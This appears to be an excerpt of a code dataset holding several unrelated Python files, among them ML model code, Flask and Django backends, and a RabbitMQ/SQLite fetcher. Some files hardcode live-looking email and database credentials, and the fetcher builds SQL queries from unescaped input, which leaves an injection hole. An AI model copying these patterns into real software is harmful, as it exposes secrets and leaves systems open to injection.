[1,1],1,padding=[0,0])\n\t\tself.idxl=idxLayer()\n\t\tself.first_linear = nn.Linear(3840, 512)\n\n\tdef forward(self, x):\n\t\tx1=self.con1(x)\n\t\tx2=self.con2(x1)\n\t\tx3=self.con3(x2)\n\t\tx4=self.con4(x3)\n\t\tx5=self.con5(x4)\n\t\tx6=self.con6(x5)\n\t\tx7=self.con7(x6)\n\t\tx8=self.con8(x7)\n\t\tx9=torch.cat((x1,x2,x3,x4,x5,x6,x7,x8),1)\n\t\tx10=self.con10(x9)\n\t\tx11=self.con11(x10)\n\t\tx12=self.con12(x11)\n\t\tx13=self.con13(x12)\n\t\tx14=self.con14(x13)\n\t\tx15=torch.cat((x11,x12,x13,x14),1)\n\t\tx16=self.con16(x15)\n\t\tx17=torch.cat((x,x10,x16),1)\n\t\tx18=self.con18(x17)\n\t\tx19=self.idxl(x18)\n\t\tx=x19.view(x19.size(0), -1)\n\t\tx=self.first_linear(x)\n\t\treturn x\n\n\nclass PP(nn.Module):\n\tdef __init__(self):\n\t\tsuper(PP, self).__init__()\n\t\tself.context=Context()\n\t\tself.l1 = nn.Linear(1024, 1024)\n\t\tself.relu= nn.ReLU()\n\t\tself.l2 = nn.Linear(1024, 2)\n\n\tdef forward(self, x1,x2):\n\t\tx1=self.context(x1)\n\t\tx2=self.context(x2)\n\t\tx=torch.cat((x1,x2),1)\n\t\tx=self.relu(self.l1(x))\n\t\tx=self.l2(x)\n\t\treturn x\n","sub_path":"contextnet_pp.py","file_name":"contextnet_pp.py","file_ext":"py","file_size_in_byte":2688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"479320749","text":"# NOTE: Use python 2.7 for this file for PIL.\n\nimport PIL\nfrom PIL import Image, ImageFile\nImageFile.LOAD_TRUNCATED_IMAGES = True\nimport pandas as pd\n\n\nwidth = 120\nheight = 90\n\nmain_file = pd.read_csv(\"../src/data/ted_all.csv\")\nimage_folder = \"../src/public/images/thumbnails/\"\n\nfor thumbnail in main_file[\"thumbnail_path\"][1420:]:\n if isinstance(thumbnail, str):\n img = Image.open(image_folder + thumbnail)\n img = img.resize((width, height), PIL.Image.ANTIALIAS)\n img.save(image_folder + thumbnail)\n","sub_path":"data_cleaning/resize_images.py","file_name":"resize_images.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"213796760","text":"import torch\nfrom torchvision import models\nimport time\nfrom model import *\n\ndef save_checkpoint(model, optimizer, epoch, filename='checkpoint'):\n checkpoint = {'feature_model':model.feature_model.name,\n 'arch': model.output_model.get_layer_units(), \n 'state_dict': model.output_model.state_dict(),\n 'class_to_idx': model.output_model.class_to_idx,\n 'epoch': epoch,\n 'optimizer': optimizer.state_dict(),\n 'time':int(time.time())}\n torch.save(checkpoint, filename+'.pth')\n \n \ndef load_checkpoint(filepath, feature_model_dict=None, optimizer = None, device=None):\n if feature_model_dict is None:\n feature_model_dict = {'resnet18': models.resnet18,\n 'alexnet': models.alexnet,\n 'squeezenet': models.squeezenet1_0,\n 'vgg16': models.vgg16,\n 'densenet': models.densenet121,\n 'inception': models.inception_v3}\n if device is None:\n device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n\n if device == 'cpu':\n checkpoint = torch.load(filepath, map_location=lambda storage, loc: storage)\n else:\n checkpoint = torch.load(filepath)\n \n model = FCNetwork(checkpoint['arch'])\n model.load_state_dict(checkpoint['state_dict'])\n \n \n if feature_model_dict is not None:\n model = nn.Sequential(OrderedDict([('feature_model', feature_model_dict[checkpoint['feature_model']](pretrained=True).features ),\n ('output_model', model)]))\n model.feature_model.name = checkpoint['feature_model']\n model.output_model.class_to_idx = checkpoint['class_to_idx']\n model.output_model.idx_to_class = {v:k for k,v in checkpoint['class_to_idx'].items()}\n \n if optimizer is not None:\n optimizer.load_state_dict(checkpoint['optimizer'])\n \n return model,optimizer,checkpoint['epoch']\n","sub_path":"modelcheckpoint.py","file_name":"modelcheckpoint.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"417305089","text":"from flask import Flask, render_template\nfrom flask_bcrypt import Bcrypt\nfrom flask_jwt_extended import JWTManager\nfrom flask_mail import Mail, Message\nfrom resources.forms import ContactForm\n\n\nfrom database.db import initialize_db\nfrom flask_restful import Api\nfrom resources.errors import errors\n\n\n\napplication = app = Flask(__name__)\napp.config.from_pyfile('settings.py')\napp.config[\"DEBUG\"]= True\napp.config[\"MAIL_SERVER\"] = \"smtp.gmail.com\"\napp.config[\"MAIL_PORT\"] = 587\napp.config[\"MAIL_USERNAME\"] = \"bytecare01@gmail.com\"\napp.config[\"MAIL_PASSWORD\"] = \"Bytecare123\"\napp.config[\"MAIL_USE_TLS\"] = True\napp.config[\"MAIL_USE_SSL\"] = False\napp.config[\"MAIL_DEFAULT_SENDER\"]=\"bytecare01@gmail.com\"\n#app.url_map.strict_slashes = False\n\n\nmail = Mail(app)\n# imports requiring app and mail\nfrom resources.routes import initialize_routes\n\napi = Api(app, errors=errors)\nbcrypt = Bcrypt(app)\njwt = JWTManager(app)\n\n\n\napp.config['MONGODB_SETTINGS'] = {\n 'host': 'mongodb+srv://byteme:1234@cluster0.mlj40.mongodb.net/test?retryWrites=true&w=majority'\n}\n\n@app.route('/contact', methods=['POST'])\ndef contact():\n form = ContactForm()\n msg = Message(form.subject.data, sender='contact@example.com', recipients=['bytecare01@gmail.com'])\n msg.body = \"\"\"\n From: %s\n Email: <%s>\n Message: %s\n \"\"\" % (form.name.data, form.email.data, form.message.data)\n mail.send(msg)\n return 'Form posted.'\n\n@app.route('/chatbot', methods=['POST','GET'])\ndef chatbot():\n return render_template('chatbot.html')\n\ninitialize_db(app)\ninitialize_routes(api)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"470215109","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport pika\nimport logging\nimport sqlite3 as sql\n\nfrom firebase_admin import credentials, initialize_app, firestore\nfrom os.path import abspath, dirname, exists\nfrom json import dumps, load, loads\nfrom time import strftime\n\n# set up logging to file\nlogging.basicConfig(\n level=logging.INFO,\n format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s',\n datefmt='%Y-%m-%d %H:%M',\n filename='/tmp/logging/aca-fetcher.log',\n filemode='w'\n)\n# define a Handler which writes INFO messages or higher to the sys.stderr\nconsole = logging.StreamHandler()\nconsole.setLevel(logging.INFO)\n# set a format which is simpler for console use\nformatter = logging.Formatter('%(levelname)-8s %(message)s')\n# tell the handler to use this format\nconsole.setFormatter(formatter)\n# add the handler to the root logger\nlogging.getLogger(__name__).addHandler(console)\n\ncred = credentials.Certificate('tis-v-firestore-auth.json')\ninitialize_app(cred)\n\n# Loading setup variables\nwith open(f'{dirname(abspath(__file__))}/setup.json', 'r') as s:\n setup = load(s)\n_db = setup[\"db\"]\nhost = setup[\"mq_host\"]\nport = setup[\"mq_port\"]\nlogging.info(f'Loaded setup: db=\"{_db}\" host=\"{host}\"\" port={port}')\n\n_queue = 'select'\n\n\nclass Mark():\n __slots__ = [\n \"name\", \"address\", \"neighborhood\", \"region\",\n \"responsible\", \"code\", \"theme\", \"source\", \"lat\", \"long\"\n ]\n def __init__(\n self, name_, address, neighborhood, region,\n responsible, code, theme, source, latitude, longitude\n ):\n self.name = name_\n self.address = address\n self.neighborhood = neighborhood\n self.region = region\n self.responsible = responsible\n self.code = code\n self.theme = theme\n self.source = source\n self.lat = latitude\n self.long = longitude\n\n def __str__(self):\n return (\n f\"Nome: {self.name}; Endereço: {self.address}; \"\n f\"Bairro: {self.neighborhood}; Regional: {self.region}; \"\n f\"Responsável: {self.responsible}; Código: {self.code}; \"\n f\"Temática: {self.theme}; Fonte: {self.source}; \"\n f\"Latitude: {self.lat}; Longitude: {self.long}\"\n )\n\n def __repr__(self):\n return {\n \"Name\": self.name,\n \"Address\": self.address,\n \"Neighborhood\": self.neighborhood,\n # \"Region\": self.region,\n # \"Responsible\": self.responsible,\n \"Code\": self.code,\n # \"Theme\": self.theme,\n # \"Source\": self.source,\n \"Latitude\": self.lat,\n \"Longitude\": self.long\n }\n\n\nif not exists(_db):\n logging.warning(f'DB \"{_db}\" not found. Creating new one...\"')\n db = sql.connect(_db)\n c = db.cursor()\n try:\n c.execute(\n \"create table info\"\n \"(\"\n \"code text not null constraint info_pk primary key, \"\n \"name text, \"\n \"address text, \"\n \"neighborhood text, \"\n \"region text, \"\n \"responsible text, \"\n \"theme text, \"\n \"source text, \"\n \"latitude real not null, \"\n \"longitude real not null\"\n \")\"\n )\n c.execute(\"create unique index info_code_uindex on info (code)\")\n c.execute(\n \"create table ratings(\"\n \"code text not null references info on update cascade, \"\n \"user text not null, \"\n \"rating_avg real, \"\n \"rating_conservation real, \"\n \"rating_cleaning real, \"\n \"rating_security real, \"\n \"last_rating text default '2019-02-01' not null, \"\n \"constraint ratings_pk primary key (code, user)\"\n \")\"\n )\n c.execute(\n \"create unique index ratings_code_uindex on ratings (code, user)\"\n )\n except sql.Error as e:\n logging.error(e)\n exit(1)\n else:\n c.close()\n db.commit()\n db.close()\n\n\ndef info_from_firestore():\n db = firestore.client()\n gyms_ref = db.collection(u'gyms')\n docs = gyms_ref.stream()\n gyms = []\n prefix = strftime('%Y-%m-%d_%H%M%S')\n open(f\"{prefix}_gyms.data\", \"w\", encoding=\"utf-8\").close()\n for doc in docs:\n gyms.append(dumps(doc.to_dict()))\n with open(f\"{prefix}_gyms.data\", \"a\", encoding=\"utf-8\") as f:\n f.write(dumps(doc.to_dict()) + '\\n')\n return gyms\n\n\ndef equipment_from_firestore():\n db = firestore.client()\n equipments_ref = db.collection(u'equipment')\n docs = equipments_ref.stream()\n _equipment = []\n prefix = strftime('%Y-%m-%d_%H%M%S')\n open(f\"{prefix}_equipment.data\", \"w\", encoding=\"utf-8\").close()\n for doc in docs:\n _equipment.append(dumps(doc.to_dict()))\n with open(f\"{prefix}_equipment.data\", \"a\", encoding=\"utf-8\") as f:\n f.write(dumps(doc.to_dict()) + '\\n')\n return _equipment\n\n\ndef info_from_sqlite():\n db = sql.connect(_db)\n c = db.cursor()\n try:\n c.execute(\"select * from info\")\n except sql.Error as e:\n logging.error(f'from_sqlite | {e}')\n else:\n out = c.fetchall()\n gym_list = []\n for g in out:\n gym = Mark(\n code=g[0],\n name_=g[1],\n address=g[2],\n neighborhood=g[3],\n region=g[4],\n responsible=g[5],\n theme=g[6],\n source=g[7],\n latitude=g[8],\n longitude=g[9]\n )\n logging.debug(gym.__repr__())\n gym_list.append(gym.__repr__())\n return { \"gyms\": gym_list }\n finally:\n c.close()\n db.close()\n logging.debug(f'info_from_sqlite | db.close()')\n\n\ndef _get_ratings(code):\n db = sql.connect(_db)\n c = db.cursor()\n try:\n c.execute(\n f\"select avg(rating_avg), \"\n f\"avg(rating_conservation), \"\n f\"avg(rating_cleaning), \"\n f\"avg(rating_security) \"\n f\"from ratings \"\n f\"where code = '{code}'\"\n )\n except sql.Error as e:\n logging.error(f'_get_ratings | error: {e}')\n else:\n out = c.fetchone()\n logging.debug(f'_get_ratings | query output: {out}')\n return {\n \"Code\": code,\n \"Overall\": out[0],\n \"Conservation\": out[1],\n \"Cleanliness\": out[2],\n \"Security\": out[3]\n }\n finally:\n c.close()\n db.close()\n\n\ndef ratings_from_sqlite(code):\n if code.lower() == 'everything':\n db = sql.connect(_db)\n c = db.cursor()\n try:\n c.execute(f\"select distinct code from ratings\")\n except sql.Error as e:\n logging.error(f\"ratings_from_sqlite | {e}\")\n else:\n rating_list = []\n for item in c.fetchall():\n rating_list.append(_get_ratings(item[0]))\n return { \"ratings\": rating_list }\n finally:\n c.close()\n db.close()\n else:\n return _get_ratings(code)\n\n\ndef callback(ch, method, properties, body):\n # Use the application default credentials\n logging.info('fetcher: select received')\n if 'info.sqlite' in body.decode():\n _body = info_from_sqlite()\n _queue_ = 'fetched'\n elif 'info.firestore' in body.decode():\n _body = info_from_firestore()\n _queue_ = 'fetched'\n elif 'equipment.firestore' in body.decode():\n _body = equipment_from_firestore()\n _queue_ = 'fetched.equipment'\n elif 'ratings' in body.decode():\n data = loads(body.decode())\n _body = ratings_from_sqlite(data['Code'])\n _queue_ = 'rating'\n else:\n _body = info_from_sqlite()\n _queue_ = 'fetched'\n cha.queue_declare(queue=_queue_)\n logging.info(f'callback | queue_declare=\"{_queue_}\" | body: {_body}')\n cha.basic_publish(exchange='', routing_key=_queue_, body=dumps(_body))\n logging.info(f'fetcher: {_queue_} sent | {_body}')\n\n\npar = pika.ConnectionParameters(host=host, port=port)\ncon = pika.BlockingConnection(parameters=par)\ncha = con.channel()\ncha.queue_declare(queue=_queue)\nlogging.info(f'Declared queue=\"{_queue}\"')\ncha.basic_consume(callback, queue=_queue, no_ack=True)\n\ntry:\n logging.info(f'Consuming on queue=\"{_queue}\"...')\n cha.start_consuming()\nexcept KeyboardInterrupt:\n logging.info(\"Exit requested by user (Ctrl+C)\")\n exit(0)\n","sub_path":"Code/Python/fetcher.py","file_name":"fetcher.py","file_ext":"py","file_size_in_byte":8481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"75118835","text":"\n\n#calss header\nclass _THROW():\n\tdef __init__(self,): \n\t\tself.name = \"THROW\"\n\t\tself.definitions = [u'an act of throwing something: ', u'used to mean each thing or for each time: ', u'a large piece of cloth that you use to cover a chair, sofa, etc. to make it look attractive: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_throw.py","file_name":"_throw.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"21937989","text":"\n\nfrom flask_hydra import app,db\n# from flask_hydra.model import Users \nimport psycopg2 \nimport json\nfrom flask import jsonify\n \nfrom flask_cors import CORS\nfrom flask_cors import CORS, cross_origin\nfrom flask import Flask, render_template, redirect, url_for, request \n \nimport datetime\n\nCORS(app, support_credentials=True)\n\nimport json\nfrom flask_hydra.model import vpc , job\n\n\n\n \nimport uuid \nfrom flask_hydra.control import jenkinsfunc\n\n@app.route('/vpc/add' , methods=['POST'])\n@cross_origin(origin='*')\ndef addVpc():\n print('xxxxxx')\n print(request.json)\n # {u'action': u'update', u'resourcetype': u'vpc', u'jobtype': u'jenkins', u'vpc': {u'status': u'running', u'description': u'34', u'timestamp': None, u'tags': [], u'vpc_name': u're', u'region': u'hangzhou', u'switches': [{u'cidr': u'3434', u'az': u'az-1', u'name': u'', u'key': 1582972582536}], u'vpc_cidr': u'er', u'provider': u'aws', u'createTime': u'2020-02-29T10:36:10.533Z'}}\n action = request.json['action']\n vpcCreated= request.json['vpc']\n # print('print the vpc create ....')\n # print(vpcCreated)\n switchesList = vpcCreated['switches']\n # print('print the switches ......')\n # print(type(switchesList))\n # print(switchesList)\n tags = vpcCreated['tags']\n vpc_name= vpcCreated['vpc_name']\n status = vpcCreated['status']\n vpc_cidr=vpcCreated['vpc_cidr']\n provider = vpcCreated['provider']\n \n jobname='cloudrockers/department1/project1/alicloud_vpc'\n switchesString=''\n for switch in switchesList:\n switchesString=switchesString+'%'+json.dumps(switch)\n # print(switchesString)\n print(tags)\n print(type(tags))\n tagsString=','.join(tags)\n # for tag in tags:\n # tagsString=tagsString+'%'+json.dumps(tag)\n print('the tags inserted /.......')\n print(tagsString)\n region = vpcCreated['region']\n createtime=datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n jobid= ''.join(str(uuid.uuid1()).split('-')[0:-1])\n print('jobid-->' + str(jobid))\n \n if action == 'update' : \n print('update-----'+vpc_name)\n newvpc=vpc.Vpcs.query.filter_by(vpc_name=vpc_name).first()\n newvpc.tags=','.join(tags)\n print('update tags -->>>>>>')\n print(newvpc.tags)\n newvpc.jobid = jobid\n newvpc.switches=switchesString \n db.session.add(newvpc)\n db.session.commit()\n # u = User.query.get()\n \n # u.age = 30\n # db.session.add(u)\n # db.session.commit()\n elif action == 'create' : \n vpcNew=vpc.Vpcs(status=status,vpc_cidr=vpc_cidr ,project='cloudrocker',environment='UAT',provider=provider,vpc_name=vpc_name,region=region,tags=tagsString,switches=switchesString,createtime=createtime,jobid=jobid)\n # resourcetype='vpc'\n # status='running'\n # endtime=''\n # job.jobs(status=status,resourcetype=resourcetype ,\n # endtime='',createtime=createtime,\n # jobname=jobname,jobid=jobid,build_number=build_number,\n # jobytpe=jobytpe,endtime=endtime,\n # jobname=jobname,jobid=jobid)\n # call the jenkins job ......\n jenkinsfunc.jenkins_run_job(jobname,{'jobname':jobname,'jobid':jobid,'createtime':createtime, 'resourcetype': 'vpc','jobtype': 'jenkins' ,'action':'create'})\n db.session.add(vpcNew)\n db.session.commit()\n return 'Hello World!'\n\n\n\n\n\n@app.route('/vpc/query' , methods=['GET'])\n@cross_origin(origin='*')\ndef fetchVpc():\n vpcList=[]\n# build_number=request.args.get('build_number')\n# job_name=request.args.get('job_name') \n# vpcList=vpc.Vpcs.query.order_by(db.desc(vpc.Vpcs.createtime) )\n# print(vpcList)\n# queryResult=db.session.query(vpcList)\n# queryResult=db.session.query(vpc.Vpcs).order_by(\"createtime desc\").all()\n #queryResult = vpc.Vpcs.query.order_by(vpc.Vpcs.createtime.desc()) \n# text(\"template_type desc\")\n queryResult = vpc.Vpcs.query.order_by(vpc.Vpcs.createtime.desc()).all()\n if len(queryResult) > 0 : \n for each in queryResult:\n switchesTemp=[]\n switchesList=each.switches.strip('%').split('%')\n for switchesEach in switchesList:\n switchesTemp.append(json.loads(switchesEach))\n print(' query ....tags .........')\n print(each.tags)\n\n tagsList=each.tags.split(',')\n print('the tag query .....')\n \n print(tagsList)\n # for tagEach in tagsList:\n # tagsTemp.append(tagEach)\n vpcList.append({'provider': each.provider, 'vpc_name': each.vpc_name,'region': each.region,'tags':tagsList,'switches':switchesTemp ,'status':each.status,'vpc_cidr': each.vpc_cidr})\n print(vpcList)\n \n return {'code':20000,'result': vpcList}\n\n\n\n### import the lib dynamically \n# >>> a=\"json\"\n# >>> wilson=__import__(a)\n# >>> text = wilson.loads(jsonData)\n# >>> text['a']\n# 1\n# >>> jsonData = '{\"a\":1,\"b\":2,\"c\":3,\"d\":4,\"e\":5}';\n\n\n\n@app.route('/provider/add/' , methods=['POST'])\n@cross_origin(origin='*')\ndef addProvider():\n print(request.json)\n # name=request.json['name']\n # createtime=datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n # provider=request.json['provider']\n # accesskey=request.json['accesskey']\n # secretkey=request.json['secretkey']\n # secretkey=request.json['secretkey']\n # description=request.json['description']\n \n # provider_new=provider.provider(name=providerdata['name'], provider=providerdata['provider'], accesskey=providerdata['accesskey'],accesskey=providerdata['secretkey'],description=providerdata['description'],createtime=createtime)\n \n@app.route('/provider/update/' , methods=['POST'])\n@cross_origin(origin='*')\ndef updateProvider(name):\n print(\"update provider ... \"+name)\n \n@app.route('/provider/delete/' , methods=['POST'])\n@cross_origin(origin='*')\ndef deleteProvider(name):\n print(\"delete provider ... \"+name)\n \n \n\n \nimport importlib\ndef load_dbFunc(db_table):\n print('db_table..'+db_table)\n filepath=\"flask_hydra.control.\"+db_table+\"func\"\n print(filepath)\n functions = importlib.import_module(filepath)\n return functions\n \n \n \n \n@app.route('/dbcrud///')\n@app.route('/dbcrud///' )\n@cross_origin(origin='*')\ndef dbcrud(db_table,action,name_id=None):\n if request.method == 'GET':\n functions=load_dbFunc(db_table)\n functions.providertest() \n else: \n print(\"get provider ... \")\n print(action)\n if name_id: \n print('name_id...'+ name_id)\n else:\n print(' no name_id....')\n \n # try:\n # u = User(username='zs',age=18)\n # # print(u)\n # db.session.add(u)\n # db.session.commit() \n # except:\n # db.session.rollback()\napp.run(\n\t host = '0.0.0.0',\n port = 7777, \n debug = True ) \n\n# import time \n# while True :\n# time.sleep(5)\n# print('xxxxxxx')\n ","sub_path":"pythonWorkspace/Hydra/runserver.py","file_name":"runserver.py","file_ext":"py","file_size_in_byte":6802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"139632593","text":"import ctypes\nimport os\nimport re\nfrom distutils.sysconfig import get_config_var\nfrom pycryptoprosdk.utils import str_to_date\n\n\nclass _CertInfo(ctypes.Structure):\n _fields_ = [\n ('subject', ctypes.c_char * 1024),\n ('issuer', ctypes.c_char * 1024),\n ('notValidBefore', ctypes.c_char * 19),\n ('notValidAfter', ctypes.c_char * 19),\n ('thumbprint', ctypes.c_char * 41)\n ]\n\n\nclass _VerificationInfo(ctypes.Structure):\n _fields_ = [\n ('verificationStatus', ctypes.c_int),\n ('error', ctypes.c_char * 1024),\n ('certInfo', _CertInfo)\n ]\n\n\nclass Subject(object):\n def __init__(self, subject_string):\n self.subject_string = subject_string\n\n def as_string(self):\n return self.subject_string\n\n def as_dict(self):\n data = {}\n for item in re.compile(',(? get all the files\n \n maxsizeDetail += maxsize_level\n totalDataFiles += len(lsFiles)\n # Set date dictionary\n dicDate = {\"id\" : date_id, \"date\" : date_value, \"maxsize\" : maxsize_level,\n \"doy\" : date_doy, \"folder\" : date_folder, \"files\" : lsFiles,\n \"num\" : len(lsFiles),\n }\n lsDates.append(dicDate)\n #end for => get all the dates\n \n dic_data = {\"id\" : iddato, \"value\" : nivel, \"unit\" : \"nivel\",\n \"dates\" : lsDates, \"total\" : len(lsDates), \n \"maxsize\" : maxsizeDetail}\n \n lsiData.append(dic_data)\n \n return totalDataFiles, maxsizeDetail, lsiData\n\n\n # Get Final data\n def getFinalData(self, detalle_id):\n detailCampaignSelected = DetailCampaign.objects.get(pk=detalle_id)\n # Get levels\n FinalDataSelectedList = FinalData.objects.select_related().filter(detail=detailCampaignSelected).values()\n \n totalDataFiles = 0\n lsiData = []\n maxsizeDetail = 0\n \n for eachFinalData in FinalDataSelectedList:\n iddato = eachFinalData[\"id\"]\n nivel = eachFinalData[\"level\"]\n \n FinalDataSelected = FinalData.objects.get(pk=iddato)\n FinalDatesSelectedList = FinalDate.objects.select_related().filter(datatype=FinalDataSelected).values()\n \n lsDates = [] # save all the levels\n maxsize_level = 0 # save the size of all levels\n \n for eachFinalDate in FinalDatesSelectedList:\n date_id = eachFinalDate[\"id\"]\n date_value = eachFinalDate[\"idate\"]\n date_doy = eachFinalDate[\"doy\"]\n date_folder = eachFinalDate[\"folder\"]\n \n FinalDateSelected = FinalDate.objects.get(pk=date_id)\n FinalFilesSelectedList = FinalFile.objects.select_related().filter(date=FinalDateSelected).values()\n \n lsFiles = []\n maxsize = 0\n \n for eachFinalFile in FinalFilesSelectedList:\n # Get size of the file\n filesize = float(eachFinalFile[\"filesize\"])\n '''\n # Set file dictionary\n dic_file = {\"idinfo\" : eachFinalFile[\"id\"], \"file_user\" : str(eachFinalFile[\"filename_user\"]),\n \"file_system\" : str(eachFinalFile[\"filename_system\"]), \"size\" : str(filesize),\n }\n '''\n maxsize += filesize\n \n lsFiles.append(eachFinalFile)\n \n maxsize_level += maxsize\n #end for => get all the files\n \n maxsizeDetail += maxsize_level\n totalDataFiles += len(lsFiles)\n # Set date dictionary\n dicDate = {\"id\" : date_id, \"date\" : date_value, \"maxsize\" : maxsize_level,\n \"doy\" : date_doy, \"folder\" : date_folder, \"files\" : lsFiles,\n \"num\" : len(lsFiles),\n }\n lsDates.append(dicDate)\n #end for => get all the dates\n \n dic_data = {\"id\" : iddato, \"value\" : nivel, \"unit\" : \"nivel\",\n \"dates\" : lsDates, \"total\" : len(lsDates), \n \"maxsize\" : maxsizeDetail}\n \n lsiData.append(dic_data)\n \n return totalDataFiles, maxsizeDetail, lsiData\n\n\n # Get Date\n def getDate(self, date_id, datatype = 1):\n if datatype == 1:\n DatatypeDateSelected = InitialData.objects.get(pk=date_id)\n elif datatype == 2:\n DatatypeDateSelected = IntermediateDate.objects.get(pk=date_id)\n elif datatype == 3:\n DatatypeDateSelected = FinalDate.objects.get(pk=date_id)\n \n dicItem = {\"date\" : DatatypeDateSelected.idate,\n \"folder_doy\" : DatatypeDateSelected.doy,\n }\n \n return dicItem\n\n\n # Get campaign \n def searchCampaign(self, typeofsearch, infoSelected, period, campaignName=\"\"):\n '''\n Example:\n \n Poll.objects.get(\n Q(question__startswith='Who'),\n Q(pub_date=date(2005, 5, 2)) | Q(pub_date=date(2005, 5, 6))\n )\n \n ... roughly translates into the SQL:\n \n SELECT * from polls WHERE question LIKE 'Who%'\n AND (pub_date = '2005-05-02' OR pub_date = '2005-05-06')\n '''\n ckList = period.find(\",\")\n if ckList == -1:\n finalStart = period\n finalEnd = period\n else:\n periodList = period.split(\",\")\n if len(periodList) == 2:\n tmpStart = periodList[0]\n tmpEnd = periodList[1]\n if tmpStart > tmpEnd:\n finalEnd = tmpStart\n finalStart = tmpEnd\n elif tmpStart == tmpEnd:\n finalStart = tmpStart\n finalEnd = tmpStart\n else:\n finalStart = tmpStart\n finalEnd = tmpEnd\n \n if typeofsearch == \"dates\":\n \n if finalStart != finalEnd:\n campaignSelectedList = Campaign.objects.get(\n Q(info=infoSelected), Q(start__range=[finalStart,finalEnd]) | Q(end__range=[finalStart,finalEnd])\n )\n else:\n campaignSelectedList = self.objects.get(\n Q(info=infoSelected), Q(start__gte=finalStart) | Q(end__lte=finalStart)\n )\n \n #campaignSelectedList = Campaign.objects.filter(info=infoSelected, start__range=finalStart,finalEnd,end=finalStart,finalEnd)\n else:\n if finalStart != finalEnd:\n if campaignName != \"\":\n campaignSelectedList = self.objects.get(\n Q(info=infoSelected), Q(alias=campaignName.lower()),\n Q(start__range=[finalStart,finalEnd]) | Q(end__range=[finalStart,finalEnd])\n )\n else:\n campaignSelectedList = self.objects.get(\n Q(info=infoSelected),\n Q(start__range=[finalStart,finalEnd]) | Q(end__range=[finalStart,finalEnd])\n )\n else:\n if campaignName != \"\":\n campaignSelectedList = self.objects.get(\n Q(info=infoSelected), Q(alias=campaignName.lower()),\n Q(start__gte=finalStart) | Q(end__lte=finalStart)\n )\n else:\n campaignSelectedList = self.objects.get(\n Q(info=infoSelected),\n Q(start__gte=finalStart) | Q(end__lte=finalStart)\n )\n \n return campaignSelectedList, finalStart, finalEnd\n \n \n def searchDetails(self, subexp_id, campaign_id, typesearch=\"\", startDate=\"\", endDate =\"\", subexps=0):\n CampaignSelected = Campaign.objects.get(pk=campaign_id)\n \n if typesearch == \"dates\":\n if subexp_id != 0:\n #num_rows, dataList = self.objiDetalles.getItemsByDates(campaign_id, startDate,endDate, subexp_id)\n DetailSelectedList = DetailCampaign.objects.select_related().filter(campaign=CampaignSelected).values()\n else:\n #num_rows, dataList = self.objiDetalles.getItemsByDates(campaign_id, startDate, endDate)\n DetailSelectedList = DetailCampaign.objects.select_related().filter(campaign=CampaignSelected).values()\n else:\n if subexp_id != 0:\n #num_rows, dataList = self.objiDetalles.getItem(campaign_id, subexp_id)\n DetailSelectedList = DetailCampaign.objects.select_related().filter(campaign=CampaignSelected,\n subexp_id=subexp_id)\n else:\n #num_rows, dataList = self.objiDetalles.getItem(campaign_id)\n DetailSelectedList = DetailCampaign.objects.select_related().filter(campaign=CampaignSelected)\n \n #return num_rows, dataList\n return DetailSelectedList\n \n \n def getInitialDataByDates(self, detail_id, startDate, endDate):\n detailSelected = DetailCampaign.objects.get(pk=detail_id)\n \n InitialDataSelectedList = InitialData.objects.filter(\n Q(detail=detailSelected), Q(idate__range=[startDate, endDate])\n ).values()\n \n return InitialDataSelectedList","sub_path":"datawebservice/bin/getData.py","file_name":"getData.py","file_ext":"py","file_size_in_byte":22408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"167252762","text":"\"\"\"\nYou are given two non-empty linked lists representing two non-negative integers. The digits are stored in reverse order\nand each of their nodes contain a single digit. Add the two numbers and return it as a linked list.\nYou may assume the two numbers do not contain any leading zero, except the number 0 itself.\n\nExample\nInput: (2 -> 4 -> 3) + (5 -> 6 -> 4)\nOutput: 7 -> 0 -> 8\nExplanation: 342 + 465 = 807.\n\"\"\"\n\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\nclass Solution:\n # 100%!!!太棒啦!!\n def addTwoNumbers(self, l1, l2):\n \"\"\"\n :type l1: ListNode\n :type l2: ListNode\n :rtype: ListNode\n \"\"\"\n # turn the link into number\n num1 = [l1.val]\n while True:\n if l1.next == None:\n break\n else:\n num1.append(l1.next.val)\n l1 = l1.next\n\n num2 = [l2.val]\n while True:\n if l2.next == None:\n break\n else:\n num2.append(l2.next.val)\n l2 = l2.next\n num1_aft = 0\n num2_aft = 0\n for i in num1[::-1]: num1_aft = num1_aft * 10 + i\n for i in num2[::-1]: num2_aft = num2_aft * 10 + i\n\n # compute the sum of two links\n res = num1_aft + num2_aft\n\n # transform res into link\n resList = [int(i) for i in str(res)]\n resList.reverse()\n res = [ListNode(0) for i in range(len(resList))]\n for i in range(len(resList)):\n res[i].val = resList[i]\n if i == len(resList) - 1:\n res[i].next = None\n else:\n res[i].next = res[i + 1]\n\n return res[0]\n\nL1 = ListNode(2)\nL2 = ListNode(4)\nL3 = ListNode(3)\n\nL1.next = L2\nL2.next = L3\nL3.next = None\n\nL4 = ListNode(5)\nL5 = ListNode(6)\nL6 = ListNode(4)\n\nL4.next = 